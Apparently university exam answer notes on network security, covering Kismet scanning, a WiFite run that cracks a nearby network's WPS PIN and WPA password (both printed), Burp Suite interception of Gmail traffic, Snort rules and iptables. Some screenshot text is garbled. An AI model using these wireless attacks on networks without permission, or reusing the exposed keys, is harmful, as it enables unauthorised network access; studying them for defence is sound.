Kismet does an amazing job of finding and recording access points & clients, and logs them

In several different formats.

#### Scanning with Kismet

#### Kali Linux>Wireless Attacks>Wireless Tools>Kismet

1. Start Kismet from the menu to see its options, or just type, "kismet" at a terminal prompt.

Intf wlang	
Automatical Opts Launch Kisi If you use [Cancel] [Add] No and char	cally. hoose
No GPS in Kismet running as root Kismet is running as root Kismet was started as root. This isn't the recommended way to start Kismet as it can be dangerous the risk to your system from any programming errors is increased. See the README section 'SUID INSTALLATION & SECURITY' ro more information. I I Do not show this warning in the future [OK ]	
(Connection refused) will attempt to reconnect in 5 seconds ERROR: Could not connect to Kismet server 'localhost:2501' (Connection refused) will attempt to reconnect in 5 seconds ERROR: Could not connect to Kismet server 'localhost:2501' (Connection refused) will attempt to reconnect in 5 seconds	5. 5. 5.

- 2. Click" **OK**" at the "Kistmet running as root" message.
- 3. Click"*Yes"* to start the Server.
- 4. At the Server Options screen you can just take the default values and select start.



- 5. The console window will open and in a second or two a screen will open that will ask you to select a capture interface. At the "Add a Source Now" prompt click "Yes".
- 6. In the "Add Source" pop-up window type in your wireless card interface name on the *Intj* line. You can use *"wlanO"* or even *"monO"* if your Wi-Fi card is already in monitoring mode. Optionally you can add a descriptive name for your interface. Then click *"Add"*:

7. That is it! Kismet begins recording all traffic that it sees. Simply click the "Close Console Window" button to close the console screen to see the graphical interface.



8. The Console Windows closes and we will now see the main program interface:

This might look a little confusing at first, but basically detected networks and devices show up in the upper left corner. The bottom graph shows detected traffic, yellow represents packets, where the red represents data.

You can use the "View" and "Sort" menu options to decide what data to show on the screen, and howit is sorted. Play around with the different Sort options to get a hang of it.

The longer Kismet runs the better view you will get of the surrounding environment.

9. When you feel Kismet has run long enough, click on the "Kismet" menu option and then "Quit".

10. You will then be asked if you want to Stop the Kismet Server, go ahead and click "Kill":



Kismet will then stop the service, shutdown and leave us at a terminal prompt. Great, so what do wedo now? If you look in the shutdown messages, you will see that several Kismet Logs were created:

[SERVER] 085	INF0:	Closed pcapdump log file 'Kismet-20130909-09-56-58-1.pcapdump', 3
[SERVER]		logged.
[SERVER]	INF0:	Closed netxml log file 'Kismet-20130909-09-56-59-1.netxml', 16
[SERVER]		logged.
[SERVER]	INF0:	Closed nettxt log file 'Kismet-20130909-09-56-59-1.nettxt', 16
[SERVER]		logged.
[SERVER]	INF0:	Closed gpsxml log file 'Kismet-20130909-09-56-59-1.gpsxml', 0 log
ged.		
[SERVER]	INF0:	Closed alert log file 'Kismet-20130909-09-56-59-1.alert', 0 logge
d.		

In Kali, Kismet dumps these files to your root directory. Notice the files names are Date/ Time stamped. The time stamp helps especially when you run Kismet several times over numerous days.

#### Analyzing the Data:-

Now we will take a moment and look at the data that we collected. Go ahead and surf to your rootdirectory, and list the files with the *"ls"* command:

root@Kali:~# ls Kismet-20130909-09\*
Kismet-20130909-09-56-58-1.pcapdump
Kismet-20130909-09-56-59-1.alert
Kismet-20130909-09-56-59-1.gpsxml
root@Kali:~#

Kismet-20130909-09-56-59-1.nettxt Kismet-20130909-09-56-59-1.netxml

This is where the funstarts, all the information gathered is located in these files.

- .Pcapdump contains a packet capture of the entire session!
- .Alert contains any alert data that was generated
- .Gpsxml contains GPS data if you used a GPS source
- .Nettxt contains all of the data collected in a nice text output
- .Netxml contains all of the data in XML format

#### Kismet PCAP Beacon Frame Analysis in Wireshark

Notice the first file is a pcap file or a packet capture file. This means that we can open the file in aprogram like WireShark and view every beacon packet that Kismet detected.

- 1. Start Wireshark ("wireshark &" at a terminal prompt).
- 2. Load in the pcapdump file. "File" then "Open", select the pcapdump file in the Root directoryand click

Places	Name	~	Size	Modified
🔍 Search	🚞 recon-ng			06/15/2013
Recently Used	Cracked.txt		44 bytes	Saturday
· root	📄 Kismet-20130909-06-43-31-1.alert		0 bytes	06:43
🛄 Desktop	🖉 Kismet-20130909-06-43-31-1.gpsxml		264 bytes	06:50
📃 File System	🖹 Kismet-20130909-06-43-31-1.nettxt		7.3 KB	06:48
D MallV3	Kismet-20130909-06-43-31-1.netxml		15.7 KB	06:48
Floppy Drive	📄 Kismet-20130909-06-43-31-1.pcapdump		122.4 KB	06:50
	C Kismet-20130909-06-54-43-1.alert		0 bytes	06:54
	🗑 Kismet-20130909-06-54-43-1.gpsxml		264 bytes	06:56
	Kismet-20130909-06-54-43-1.nettxt		3.8 KB	06:56
	🖗 Kismet-20130909-06-54-43-1.netxml		7.1 KB	06:56
	Kismet-20130909-06-54-43-1.pcapdump		13.7 KB	06:56
	E Kismet-20130909-09-56-58-1.pcapdump		689.4 KB	10:33

"Open".

3. The pcap file will open in WireShark and you can view all of the beacon control frames:

No.	Time	Source	Destination	Protocol	Length	Info		
	1 0.000000	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1301,	FN=0,
	2 0.102497	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1302,	FN=0,
	3 0.204995	AsustekC_	Broadcast	802.11	245	Beacon frame,	SN=1303,	FN=0,
	4 1.101794	AsustekC	Spanning-tr	802.11	114	Data, SN=1312	, FN=0, F	lags=.
	5 1.229237	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1314,	FN=0,
	6 1.331294	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1315,	FN=0,
	7 2.252783	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1324,	FN=0,
	8 2.355122	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1325,	FN=0,
	9 2.457627	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1326,	FN=0,
	10 2.560004	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1327,	FN=0,
	11 4.652438	AsustekC	HonHaiPr Oa	802.11	62	Qos Null func	tion (No a	data),
	12 5.734564	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1362,	FN=0,
	13 5.837180	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1363,	FN=0,
	14 5.939388	AsustekC	Broadcast	802.11	245	Beacon frame,	SN=1364,	FN=0,

As you can see, kismet recorded the network communication of any beacon packet that it detected during the scan. Beacon packets are basically management packets that Wi-Fi devices send out to advertise their service.

#### **Kismet Text File Analysis**

Lastly let's look at the text file.

```
Kismet-20130909-09-56-59-1.nettxt
File Edit Search Options Help
              Mon Sep 9 10:30:30 2013
Network 2: BSSID 08:60:
Manuf : AsustekC
First
           : Mon Sep 9 10:03:55 2013
Last
           : Mon Sep 9 10:31:58 2013
Туре
           : infrastructure
          : 08:60:
BSSID
  SSID 1
   Type : Beacon
SSID : "" (Cloaked)
             : Mon Sep 9 10:03:55 2013
   First
   Last
             : Mon Sep 9 10:31:58 2013
   Max Rate : 54.0
            : 10
: 2137
   Beacon
   Packets
   Encryption : WPA+PSK
   Encryption : WPA+AES-CCM
```

#### b) What is the use of WiFite? Discuss Wi-Fi Testing with WiFite with example. CO3 L1 5M

There are several programs that take the aircrack-ng tool set and add a graphical text or menu to it. This makes it much easier to use the tool set without having to remember all the individual commands. Now we will take a look at WiFite a quick and easy to use command line menu driven program for finding & testing wireless networks.

#### **Using Wifite:**

1.To start WiFite simply type wifite at a terminal prompt

2. WiFite will start and automatically begin scanning for networks:

3. At this point just let it run for a while. You will see wireless networks begin to fill in as they are found. When you feel you have found enough, or have found the ones you are looking for, hit CTRL-C.

4. You will then be asked what Wi-Fi networks you would like to attack. You can pick an individual alone, pick several by separating their numbers with a comma, or just type all to attack all of them. Things to notice here, you have NUM, which is the number of the Wi-Fi network that you want to attack, you have the ESSID or network name, CH is the channel the network is communicating on, ENCR is the type of the encryption the network is using, the POWER level is decibels, if Wi-Fi Protected Setup is enabled and if any CLIENTs are connected. It will say client if only one is connected or clients if multiple are present.

5. WiFite immediately begins to automatically attack and crack the WEP key. A fairly large number of Initialization Vectors are needed to crack the WEP key. Wireless AP's normally generate IVs, but because we need a large number of them you can see the aircrack-ng tools working in background injecting packets to force the AP to produce a large amount of these keypacket. Once enough packets have been collected the WEP key can be decoded.

	root@kali: ~	Q:008
(root©kali)-[~] _∰ wifite		
<pre></pre>		
<ol> <li>Warning: Recommended app pyrit was not found. install @</li> <li>Warning: Recommended app hcxdumptool was not found. inst</li> <li>Warning: Recommended app hcxpcapngtool was not found. i</li> </ol>	https://github.com/JPaulMora/Pyrit/wiki tall @ apt install hcxdumptool nstall @ apt install hcxtools	
[+] Using wlan0 already in monitor mode		
NUM ESSID CH ENCR POWER WPS?		
1     GPONWIFI_1B60     1     WPA-P     60db     yes       2     Chaitanya Ch     6     WPA-P     26db     no       3     Shop_EXT     1     WPA-P     14db     yes       4     AT_201_F_R8_Y_W.A     11     WPA-P     7db     yes       5     TP-Link_Guest_F81A     6     WPA-P     7db     no       6     Redmi Note 11T 56     1     WPA-P     7db     no       [+] select target(s) (1-6) separated by commas, dashes or a	3 11: 1	
<pre>[+] (1/1) Starting attacks against 9C:65:EE:69:1B:67 (GPONWI [+] GPONWIFI_1B60 (08db) WPS Pixie-Dust: [4m56s] Cracked WPS [+] ESSID: GPONWIFI_1B60 [+] Channel: 1 [+] BSSID: 9C:65:EE:69:1B:67 [+] Encryption: WPA (WPS) [+] WPS PIN: 68882952 [+] PSK/Password: 0000008196</pre>	IFI_1B60) S PIN: 68882952 PSK: 000000B196	
<pre>Mm to dict {'result_type': 'WPS', 'bssid': '9C:65:EE:69:1B:( '000000B196', 'date': 1667700786, 'readable_date': '2022-1 Mm to dict {'result_type': 'WPS', 'bssid': '9C:65:EE:69:1B:( '000000B196', 'date': 1667700786, 'readable_date': '2022-1 [+] saved crack result to cracked.json (1 total) [+] Finished attacking 1 target(s), exiting</pre>	67', 'channel': '1', 'essid': 'GPONWIFI_1B60', 'pin' 1-06 07:43:06', 'loc': 'ND'} 67', 'chanel': '1', 'essid': 'GPONWIFI_1B60', 'pin' 1-06 07:43:06', 'loc': 'ND'}	: '68882952', 'psk' : '68882952', 'psk'
🔄 🖻 😂 🕅 💕	🍎 🚳 🙌 👽 🖑 🔚 :	
	(OR)	

#### 7. a) Describe and discuss the different wireless security protocols?

CO3 L4 5M

Wi-Fi security protocols use encryption technology to secure networks and protect the data of their clients. **Wireless networks are often less secure than wired ones**, so wireless security protocols are crucial for keeping you safe online. The most common Wi-Fi security protocols today are WEP, WPA, and WPA2.

WEP, WPA, and WPA2 are three different kinds of security protocols. When you set up your router and add a password one of these formats was selected.

#### WEP vs WPA vs WPA2

WPA2 is the more recent wireless security protocol protecting wireless networks, so it's generally your best option when looking to secure your Wi-Fi network. Let's take a look at the pros and cons of each security protocol, ordered from best to worst.

#### WPA2

#### **Pros**:

- Addresses many security flaws of its predecessors
- Uses the strongest encryption method: AES
- Required by the Wi-Fi Alliance for use on all Wi-Fi certified products
- 256-bit key for encryption

#### Cons:

- Still contains some security vulnerabilities
- Requires the most processing power

#### WPA

#### **Pros**:

- Addresses security vulnerabilities of the original wireless security standard, WEP
- TKIP encryption method is better than the fixed-key encryption used by WEP
- 256-bit key for encryption

#### Cons:

- When rolled out onto WEP devices, TKIP can be exploited
- Similar security vulnerabilities to WEP

#### WEP

#### **Pros**:

• Better than no security protocol — though not by much

Cons:

- Riddled with security vulnerabilities
- Only 64-bit and 128-bit keys for encryption
- Fixed-key encryption
- Hard to configure

# b) Explain web application hijacking using Burp suite tool with step by step CO3 L2 5M process.

Burp or Burp Suite is a graphical tool for testing Web application security. The tool is written in Java and developed PortSwigger Security. The tool has two versions: a free version that can be downloaded free of charge (Free Edition) and a full version that can be purchased after a trial period (Professional Edition). It was developed to provide a comprehensive solution for web application security checks. In addition to basic functionality, such as proxy server, scanner and intruder, the tool also contains more advanced options such as a spider, a repeater, a decoder, a comparer, an extender and a sequencer.

#### **Configure and Usage of Burpsuite**

Step1: Login to Kali Linux



**Step2:** Now start the Burpsuite by clicking on the Burpsuite icon from the Main menu list and click through the opening menus. Just use the defaults.

**Step3:** Burp Suite contains an intercepting proxy. In order to use Burp Suite, you must configure a browser to pass its traffic through the Burp Suite proxy. Open up Firefox and click on the menu button to open up the Firefox setting menu. In the menu, click on "Preferences." This will open up the "Preferences" tab in Firefox. Now, search for "Network" option. In the "Network" section, click the top button labeled, "Settings…" That will open up Firefox's proxy settings.

₿ Settings >	+		0 0 8					
	Sirefox about:preferences							
🐃 Kali Linux 🚙 Kali Tools 🛛 💆 Kali	Docs 🕱 Kali Forums 🐟 Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🗍 OffSec							
			_					
G Home	Startup							
Q Search	Open previous windows and tabs							
	Always check if Firefox is your default browser							
Sync	Sirefox is not your default browser Make Default							
m More from Mozilla	Tabs							
	Ctrl+Tab cycles through tabs in recently used order							
	S Open links in tabs instead of new windows							
	When you open a link, image or media in a new tab, switch to it immediately							
	Confirm before closing multiple tabs							
	✓ Confirm before quitting with Ctrl+Q							
	Website appearance							
	Some websites adapt their color scheme based on your preferences. Choose which color							
	scheme you'd like to use for those sites.							
Extensions & Themes	Eirefox theme     System theme     Light     Dark							
C Therox Support	Manage Firefox themes in Extensions & Themes							

**Step4:** Select the "Manual Proxy Configuration:" radio button. By default, Burp Suite runs on port 8080, and since you're running this on your own machine, enter 127.0.0.1 as the IP. You're main concern is going to be HTTP, but you can check the box marked, "Use this proxy server for all protocols". With Firefox configured, you can proceed to configure Burp and start the proxy.

र्छ Settings	× +	• • 8
← → C ŵ	Firefox about:preferences#searchResults	☆ ♡ ≡
🛰 Kali Linux p Kali Tools 🧧 K	ali Docs 🕱 Kali Forums 🕂 Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 👃 OffSec	
	Connection Settings X	
	,	
ర్రొ General	Configure Proxy Access to the Inter <mark>net</mark>	
🟠 Home	O No proxy	
Q Search	O Auto-detect proxy settings for this network	
	Use system proxy settings	
	HTTE Prove 127.0.0.1	
🗘 Sync		
<b>m</b> More from Mozilla		
	SO <u>C</u> KS Host Port 0	
	○ SOC <u>K</u> S v4 <b>○</b> SOCKS <u>v</u> 5	
	<u>A</u> utomatic proxy configuration URL	
	R <u>e</u> load	
	<u>N</u> o proxy for	
	Example: mozilla.orgnet.nz.192.168.1.0/24	
	Connections to localhost, 127.0.0.1/8, and ::1 are never proxied.	
	Do not prompt for authentication if password is saved	
	Proxy <u>D</u> NS when using SOCKS v5	
	Enable DNS over HTTPS	
රි Extensions & Themes	Use Provider Cloudflare (Default)	
⑦ Firefox Support	Help Cancel OK	

**Step5**: The proxy should be configured by default, but just take a second to double-check it. In your Burp Suite window, click on "Proxy" on the top row of tabs, then "Options" on the lower level.

					Burp Su	iite Commu	nity Edition v.	2022.8.5 - 1	Femporary P	roject	
p Project Intru	uder Repe	ater Window	v Help								
shboard Tarc	qet Pro	xy Intrude	r Repe	ater S	Sequencer	Decoder	Comparer	Logger	Extender	Project options	User options
ercept HTTP	history	WebSockets h	nistory (	Options							
	,			· · · · ·							
) Proxy Listene	ers										
Burp Proxy uses	s listeners te	o receive incom	ning HTTP re	equests fro	m your brows	ser. You will r	eed to configure	your browse	er to use one of	f the listeners as its p	proxy server.
Add	Running	Interfa	ice	Invisible	Re	edirect	Cert	ificate		TLS Protocols	
Edit		127.0.0.1:80	80				Per-host		Default		
Eur	_										
Remove											•
Import / expo	ort CA certif	icate Reg	enerate CA	certificate							
Import / expo Intercept Clie Use these settin	ort CA certif ent Reque ings to contr equests base	icate Reg sts ol which reque ed on the follow	enerate CA sts are stall	certificate led for view Master inte	ing and editin	ng in the Inter Irned off	cept tab.				
Import / expo Intercept Clie Use these settin Intercept re Add	ort CA certif ent Reque ings to contr equests base Enabled	sts ol which reque d on the follow Operator	enerate CA sts are stall ving rules: A Matcl	certificate led for view Master inte h type	ing and editir prception is tu Rela	ng in the Inter <i>Irned off</i> ationship	cept tab.	Condition		]	
Import / expo Intercept Clie Use these settin Use these settin Intercept re Add Edit	ent CA certif ent Reque ings to contr equests base Enabled	icate Reg sts ol which reque ed on the follow Operator	sts are stall ving rules: A Matcl File extens	certificate led for view Master inte h type sion	ing and editir rrception is tu Rela Does not m	ng in the Inter <b>Irrned off</b> ationship natch	cept tab. (^gif\$ ^jpg\$	Condition ^png\$ ^css\$	\$\^js\$\^ico\$\^		
Import / expo Intercept Clie Use these settin Use there the Add Edit	ort CA certif ent Reque ings to contr equests base Enabled	icate Reg sts ol which reque ed on the follow Operator Or	enerate CA sts are stall ving rules: A Matcl File extens Request	certificate led for view Master inte h type sion	ing and editir rception is tu Rela Does not m Contains pa	ng in the Inter urned off ationship hatch arameters	cept tab. (^gif\$ ^jpg\$	Condition ^png\$ ^css\$	\$ ^js\$ ^ico\$ ^		
Import / expx Intercept Clie Use these settin Use these settin Lie Clie Edit Remove	ent CA certif ent Reque ings to contr equests base Enabled	icate Reg sts ol which reque d on the follow Operator Or Or	enerate CA sts are stall ving rules: A Matcl File extens Request HTTP met	certificate led for view Master inte h type sion hod	ing and editin rception is tu Rela Does not m Contains pa Does not m	ng in the Inter urned off ationship batch arameters batch	cept tab. (^gif\$\^jpg\$) (get]post)	Condition ^png\$ ^css\$	\$ ^js\$ ^ico\$ ^		
Import / expo Intercept Clie Use these settin Intercept re Add Edit Remove Up	ent Reque ings to contr equests base Enabled	sts ol which reque d on the follow Operator Or Or And	sts are stall ving rules: A Matcl File extens Request HTTP metl URL	certificate led for view Master inte h type sion hod	ring and editin reception is tu Rela Does not m Contains pa Does not m Is in target s	ng in the Inter urned off ationship batch arameters batch scope	cept tab. (^gif\$[^jpg\$] (get]post)	Condition ^png\$ ^css\$	\$ ^js\$ ^ico\$ ^		
Import / expo Intercept Clie Use these settin Use these settin Intercept re- Add Edit Remove Up Down	ent Reque ings to contr equests base Enabled	sts ol which reque d on the follow Operator Or Or And	enerate CA sts are stall ving rules: A Matcl File extens Request HTTP metl URL	certificate led for view Master inte h type sion hod	ring and editin reception is tu Rela Does not m Contains pa Does not m Is in target s	ng in the Inter urned off ationship hatch arameters hatch scope	cept tab. (^gif\$ ^jpg\$  (get post)	Condition ^png\$ ^css\$	5 ^js\$ ^ico\$ ^		
Import / expo Intercept Clia Use these settin Intercept re Add Edit Remove Up Down	ent Reque ings to contr equests base Enabled	icate Reg sts ol which reque ed on the follow Operator Or Or And	enerate CA sts are stall ving rules: A Matcl File extens Request HTTP metl URL	certificate led for view Master inte h type sion hod	ing and editir reception is tu Rela Does not m Contains pa Does not m Is in target :	ng in the Inter urned off ationship hatch atch scope	cept tab. (^gif\$[^jpg\$] (get]post)	Condition ^png\$ ^css\$	\$ ^js\$ ^ico\$ ^		
Import / expc Intercept Clin Use these settin Use these settin Edit Remove Up Down	ent Reque ings to contr equests base Enabled	sts sts ol which reque- d on the follow Operator Or Or And ag or superfluo	enerate CA sts are stall ving rules: A Matcl File extens Request HTTP metl URL	certificate led for view Master inte h type sion hod	ing and editir rcception is tu Rela Does not m Contains pa Does not m Is in target :	ng in the Inter Irrned off ationship hatch Irrameters Latch scope	cept tab. (^gif\$[^jpg\$] (get]post)	Condition ^png\$ ^css\$	\$ ^js\$ ^ico\$ ^	•	
Import / expc Intercept Cliv Use these settin Use these settin Clinercept re Add Edit Remove Up Down Automatica Cliveration	ent CA certif	sts ol which reque ed on the follow Operator Or Or And	enerate CA sts are stall ving rules: A Match File extens Request HTTP met URL us new lines	certificate led for view Master inte h type sion hod	ing and editin rcception is tu Rela Does not m Contains pa Does not m Is in target :	ng in the Inter Irrned off ationship aatch arameters iaatch scope	cept tab. (^gif\$I^jpg\$I (get post)	Condition ^png\$ ^css\$	j ^js\$ ^ico\$ ^	•	
Import / expo Intercept Clin Use these settin Intercept re Add Edit Remove Up Down Automatica I Automatica	ent Reque ings to contr equests base Enabled	sts ol which reque d on the follow Operator Or And or superfluo content-Length	enerate CA sts are stallo ving rules: A Matcl File extens Request HTTP metl URL	certificate led for view Master inte h type sion hod s at end of r en the requ	ing and editin reception is to Rela Does not m Contains pa Does not m Is in target : request request is edited	ng in the Inter irrned off stionship atch atch scope	cept tab. (^gif\$ ^jpg\$) (get[post)	Condition ^png\$I^css\$	j ^js\$ ^ico\$ ^		
Import / expo Intercept Clin Use these settin Use these settin Edit Edit Edit Up Down Automatica	ent Reque ings to contr equests base Enabled	sts ol which reque d on the follow Operator Or Or And And	enerate CA sts are stall- ving rules: A Matcl File extens Request HTTP metl URL us new lines header whe	certificate led for view Master inte h type sion hod s at end of r en the requ	ing and editin rception is tu Rela Does not m Contains pa Does not m Is in target : request uest is edited	ng in the Inter Irrned off ationship atach arameters atch scope	cept tab. (^gifSf^ipg\$j (getipost)	Condition ^png\$I^ccs\$	\$ ^js\$ ^ico\$ ^		
Import / expo Intercept Clin Use these settin Intercept re Add Edit Remove Up Down Automatica I Automatica	ent CA certif ent Reque ings to contr equests base Enabled	sts ol which reque d on the follow Operator Or Or And ing or superfluo iontent-Length DDSES	enerate CA sts are stallo ving rules: A Matcl File extens Request HTTP metl URL us new lines header who	certificate led for view Master inte h type sion hod s at end of r en the requ	ing and editin reception is tu Rela Does not m Contains pa Does not m Is in target : request seest is edited	ng in the Inter urned off ationship hatch rarameters atch scope	cept tab. (^gif\$(^jpg\$) (get post)	Condition ^png\$ ^css\$	\$ ^js\$ ^ico\$ ^	•	

Step6: Now, start the browser and search for gmail.com

🕞 Gmail 🛛 🗙	+		
$ ightarrow \mathbf{C}$ is https://accounts	.google.com/v3/signin/identifier?dsh=S1376042551%3A166766996020 < 🛧	🔏 🖬 😫 i	
			\$
			lo Jo
			01
			1e T
	Google		П
	to continue to Gmail		T T
	C Email or phone		T T T
			T T
	Forgot email?		-
	Not your computer? Use Guest mode to sign in privately. Learn more		
	Create account Next		
En	glish (United States) - Help Privacy Terms		

**Step7:** At this point you have Burp suite running as a proxy for Firefox, and you're ready to start using it to capture information coming from Firefox. In proxy, HTTP History tab, we can see the HTTP requests and Urls.

1	Y	and the second	7			Burp	Suite Comm	unity Editi	on v202	2.8.5 - Te	mporary P	roject					•	8
Burp	Project	Intruder	Repeater	Window	Help													
Dash	nboard	Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Compa	rer L	ogger	Extender	Project op	tions Us	er options				
Inter	cept	HTTP histo	ory Web	Sockets hist	ory Options					55								
Filter	Hiding CS	iS, image a	nd general b	inary conten	t													0
# ^		Hos	t	Method	ł	URL		Params	Edited	Status	Length	MIME type	Extension	Title	C	omme	ant	Т
1 2 3 4	https://g https://w https://w	jmail.com vww.googl jmail.com vww.googl	e.com e.com	GET GET GET	/ /gmail/ / /gmail/					301 302 301 302	612 694 612 694	HTML HTML HTML HTML		301 Moved 302 Moved 301 Moved 302 Moved				
5	https://r	nail.google	.com	GET	/mail/					302	632	HTML		Moved Temporarily				
6	https://r	nail.google	e.com	GET	/mail/u/0/					302	1154	HTML		Moved Temporarily				
7 8 9 10 11 12 13	https://a https://w https://f https://f https://f https://f	accounts.go accounts.go www.gstati onts.gstati onts.gstati onts.gstati	ogle.com ogle.com c.com c.com c.com c.com	GET GET GET GET GET GET	/ServiceLogin /v3/signin/ide /_/mss/boq-ii /s/googlesan /s/roboto/v18 /s/googlesan /s/roboto/v18	?service=ma ntifier?dsh=S dentity/_/js/k s/v14/4UabrE /KFOICnqEu s/v14/4UaGri /KFOmCnqE doptitu/_fic/fic	il&passive=1 1376042551 =boq-identity :NHsxJlGDuG 92Fr1MmEU ENHsxJlGDu u92Fr1Mu4m =bog_identity	√ √		302 200 200 200 200 200 200 200	2161 539234 191276 22643 16483 22407 16274	HTML HTML script	woff2 woff2 woff2 woff2	Moved Temporarily Gmail				
Real	iest						Response						= In	spector		Ē -	- @	×
Pret	ty Ra	w Hex			E	\n ≡	Pretty I	Raw He	x Rei	nder		<b>B</b> V	n = _					
1 GE	T /mail	/u/0/ HT	TP/2				1 HTTP/2	302 Found	1			-	Re	equest Attributes			2	Ť
2 Ho	st: mai	l.google	e.com				<pre>2 Content-Type: text/html; charset=UTF-8</pre>							Request Headers 16			16	~
3 Upgrade-Insecure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36					<pre>s Location: https://accounts.google.com/ServiceLogin?service=mail 6passive=120960060sid=l&amp;continue=https://mail.google.com/mail/u com/mail/u/0/6followup=https://mail.google.com/mail/u</pre>										14	~		
<pre>5 Accept: text/html,application/xhtml+xml,application/xml;q=0. 9,imag/avif,image/webp,image/apng,*/*;q=0.0,applica tion/signed-exchange;v=03;q=0.9 6 Sec-Fetch-Site: none 7 Sec-Fetch-User: 11 9 Sec-Fetch-User: 11 9 Sec-Ch-Luser: 11 10 Sec-Ch-Lus "Not;A=Fandd;y="99", "Chromium";v="106" 11 Sec-Ch-Lus-Platform: "Linux" 12 Sec-Ch-Lus-Platform: "Linux" 13 Accept-Encoding: gzip, deflate 14 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 15</pre>					/0/Kemr 4 Strict- include 5 Permiss ch-ua-f ch-ua-m ch-ua-p 6 Date: S 7 Expires 8 Cache- C 9 X-Conten 12 X-Xss-P 13 Content 14 Server: 13 Content 14 Server: 15 Alt-Svc 16 ≪HAD 18 ≪HAD 19 ≪HEAD 19 ≪HEAD	=1 fransport SubDomair Jull-versi Jull-versi Jull-versi Jull-versi Latform-v t, OS Nc : Sat, OS control: p t-Type-C options: Security rotectior Length: GSE : clear	Securi is cy: ch- on=*, ( ch-ua-wo ersiona- v 2022 5 Nov 20 private, ptions: SAMEOF (-Policy : 1; mo 370	ity: max ua-arch ch-ua-fu ww64=*, * 17:39:19 22:17:33 ; nosnif GIN y: frame- de=block	- age=1088 =*, ch-ua Ul-versic ch-ua-pla 9 GMT 9 GMT =0 f - ancestor k	6400; bitness=* list=*, tform=*, s 'self'								

#### 8. a) Find Distinguish between Snort and IPTables?

A Snort will inspect content of the request and be able to drop, alert, or potentially clean a malicious network request based on that content. The determination of what is malicious is based either on behavior analysis or through the use of signatures.

A firewall will block traffic based on network information such as IP address, network port and network protocol. It will make some decisions based on the state of the network connection.

#### b) Explain in detail different Phases of IR?

Incident response is a coordinated and structured approach to identify and resolve an incident.

#### The whole incident response process consists of following phases:

- Pre-incident Preparation:
- Detection and Analysis:
- Containment, Eradication and Recovery
- Post Incident Activity

(OR)

#### 9. a) What is Snort system? Explain snort System rules.

Snort is network intrusion detection and prevention system which works through traffic analysis and packet logging on IP networks.

#### Snort can be runned in 4 modes:

sniffer mode: snort will read the network traffic and print them to the screen.

packet logger mode: snort will record the network traffic on a file.

IDS mode: network traffic matching security rules will be recorded (mode used in our tutorial).

IPS mode: also known as snort-inline (IPS = Intrusion prevention system).

#### To install snort, type the following commands in terminal:

sudo apt-get update

sudo apt-get install snort

- Snort contains 2 kinds of files:
  - 1. Rules files
  - 2. Configuration files

CO4 L4

**5**M

CO4 L1 5M

- These files can be found in the following directory: /etc/snort/rules
- "Snort.conf" is a configuration file, which contains rules as statements.
- When we run "Snort.conf" file the rules will be applied on the network traffic.
- Snort rules are written "Rules files". And these files should be mentioned in "Snort.conf" file.
- To write snort rules, we need to create a file with ".rules" extension.
- We can define multiple rules in a single rule file.
- A snort rule is a set of keywords & arguments.
- Snort rule contains 2 parts:
  - 1. Rule header
  - 2. Rule body
- Snort rules are structured as follows:
  - <rule actions><protocol><source ip><source port><direction
    - operator><destination ip><destination port>(rule options)
      - a. rule actions: specifies what action need to take when malicious content is found.
      - Possible actions are:
        - > alert: log the event and send an alert message
        - > pass: Ignore the packet
        - > log: Log the packet
      - b. protocol: tcp, udp, ip, icmp
      - c. source ip: any
      - d. source port: any
      - e. direction operator: -> (single direction), <> (bi-direction)
      - f. destination ip: any
      - g. destination port: any
      - h. rule options: (msg:"XXX XXXX"; sid:12345; rev:1;)
- Rule body contains various options which specify conditions to identify the malicious content.
- Most commonly used options are: msg, sid, content, nocase
- "msg" contains the message that needs to be displayed to the user about the type of activity.
- "sid" identifies a snort rule uniquely.
- "content" specifies the content which is to be checked with packet data. If it matches, then the corresponding action will be taken.
- If we specify "nocase" means the content is not case-sensitive.
- To run the defined rules, we need to execute "Snort.conf"

as: snort -A console -c /etc/snort/snort.conf

#### b) What is a Firewall? How to create Firewall using IP Table explain with related rules CO4 L3 5M

A firewall is a software or hardware device that filters the information coming through the Internet connection into your private network or computer system.

A packet is a segment of data that is sent from one device to another device over a network.

The flow of packets is known as traffic.

The flow of data between devices follow some standard set of rules called protocols.

Each protocol will have specific **port** where the communication ends. Each port will have a port number.

#### Few examples of port numbers:

For FTP(File Transfer protocol) = 21

For HTTP = 80

For HTTPS = 443

For DNS = 53

**iptables** is a open-source firewall.iptables is standard firewall for linux systems such as Ubuntu and fedora..

#### There are three types of built-in chains in iptables:

**INPUT** 

Packets that are coming into the PC.

#### FORWARD

Packets passing through PC (if it is a router).

#### **OUTPUT**

Packets that are going out of PC.

**RULES:-**

1) iptables -L //LIST THE RULES

2)iptables -L -n -v //'n' for display ipaddress and port in a a numerical format//'v' for verberose

3)iptables -A INPUT -s 157.240.7.35 -j DROP //block an ip

4)iptables -n -L -v --line-numbers //ldisplay line numbers

5) iptables -F //delete all rules

6) host -t a www.facebook.com // block facebook.com domain whois 157.240.7.35 | grep CIDR iptables -A OUTPUT -d 157.240.0.0/16 -j DROP

7) iptables -D INPUT 3 //delete a specific rule

8) The rule to avoid the TCP connection is as follows:

iptables -A INPUT -j DROP -p tcp -i eth0

9) The rule command for not allowing anyone to ping our system.:

iptables -A INPUT -j DROP -p icmp -i eth0

10) To accept a specific ip address to access TCP connection

iptables -A INPUT -i eth0 -j ACCEPT -p tcp -s 157.240.0.0/16

11) To block a specific ip address to access TCP connection

iptables -A INPUT -i eth0 -j DROP -p tcp -s 157.240.0.0/16

12) To accept a specific ip address in port 21 to access TCP connection

